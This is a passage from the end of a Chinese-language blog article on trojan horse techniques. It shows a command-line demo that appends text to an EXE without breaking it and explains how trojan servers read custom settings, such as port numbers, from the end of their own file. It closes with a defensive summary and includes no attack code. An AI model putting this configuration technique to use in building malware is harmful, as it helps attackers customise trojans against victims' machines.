      首先让我们来做一个实验:

      进入Windows的命令行模式下做如下操作

      1)C:/>copy Server.Exe Server.Bak

      2)建立一个文本文件Test.Txt,其内容为“http://www.patching.net

      3)C:/>type Text.Txt>>Server.Exe

      4)运行Server.Exe

      怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。

      8、总结

      以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长,从根本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后能带给您一些 反黑技术上的帮助。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值